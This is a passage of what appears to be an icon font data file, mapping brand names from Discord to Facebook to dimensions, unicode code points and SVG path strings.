	"discord": [448, 512, [], "f392", "M297.216 243.2c0 15.616-11.52 28.416-26.112 28.416-14.336 0-26.112-12.8-26.112-28.416s11.52-28.416 26.112-28.416c14.592 0 26.112 12.8 26.112 28.416zm-119.552-28.416c-14.592 0-26.112 12.8-26.112 28.416s11.776 28.416 26.112 28.416c14.592 0 26.112-12.8 26.112-28.416.256-15.616-11.52-28.416-26.112-28.416zM448 52.736V512c-64.494-56.994-43.868-38.128-118.784-107.776l13.568 47.36H52.48C23.552 451.584 0 428.032 0 398.848V52.736C0 23.552 23.552 0 52.48 0h343.04C424.448 0 448 23.552 448 52.736zm-72.96 242.688c0-82.432-36.864-149.248-36.864-149.248-36.864-27.648-71.936-26.88-71.936-26.88l-3.584 4.096c43.52 13.312 63.744 32.512 63.744 32.512-60.811-33.329-132.244-33.335-191.232-7.424-9.472 4.352-15.104 7.424-15.104 7.424s21.248-20.224 67.328-33.536l-2.56-3.072s-35.072-.768-71.936 26.88c0 0-36.864 66.816-36.864 149.248 0 0 21.504 37.12 78.08 38.912 0 0 9.472-11.52 17.152-21.248-32.512-9.728-44.8-30.208-44.8-30.208 3.766 2.636 9.976 6.053 10.496 6.4 43.21 24.198 104.588 32.126 159.744 8.96 8.96-3.328 18.944-8.192 29.44-15.104 0 0-12.8 20.992-46.336 30.464 7.68 9.728 16.896 20.736 16.896 20.736 56.576-1.792 78.336-38.912 78.336-38.912z"],
	"discourse": [448, 512, [], "f393", "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z"],
	"dochub": [416, 512, [], "f394", "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z"],
	"docker": [640, 512, [], "f395", "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z"],
	"draft2digital": [480, 512, [], "f396", "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z"],
	"dribbble": [512, 512, [], "f17d", "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z"],
	"dribbble-square": [448, 512, [], "f397", "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z"],
	"dropbox": [528, 512, [], "f16b", "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z"],
	"drupal": [448, 512, [], "f1a9", "M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z"],
	"dyalog": [416, 512, [], "f399", "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z"],
	"earlybirds": [480, 512, [], "f39a", "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z"],
	"ebay": [640, 512, [], "f4f4", "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z"],
	"edge": [512, 512, [], "f282", "M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z"],
	"edge-legacy": [512, 512, [], "e078", "M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z"],
	"elementor": [448, 512, [], "f430", "M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z"],
	"ello": [496, 512, [], "f5f1", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z"],
	"ember": [640, 512, [], "f423", "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z"],
	"empire": [496, 512, [], "f1d1", "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z"],
	"envira": [448, 512, [], "f299", "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z"],
	"erlang": [640, 512, [], "f39d", "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z"],
	"ethereum": [320, 512, [], "f42e", "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z"],
	"etsy": [384, 512, [], "f2d7", "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z"],
	"evernote": [384, 512, [], "f839", "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z"],
	"expeditedssl": [496, 512, [], "f23e", "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z"],
	"facebook": [512, 512, [], "f09a", "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"],
	"facebook-f": [320, 512, [], "f39e", "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"],
	"facebook-messenger": [512, 512, [], "f39f", "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z"],
	"facebook-square": [448, 512, [], "f082", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z"],
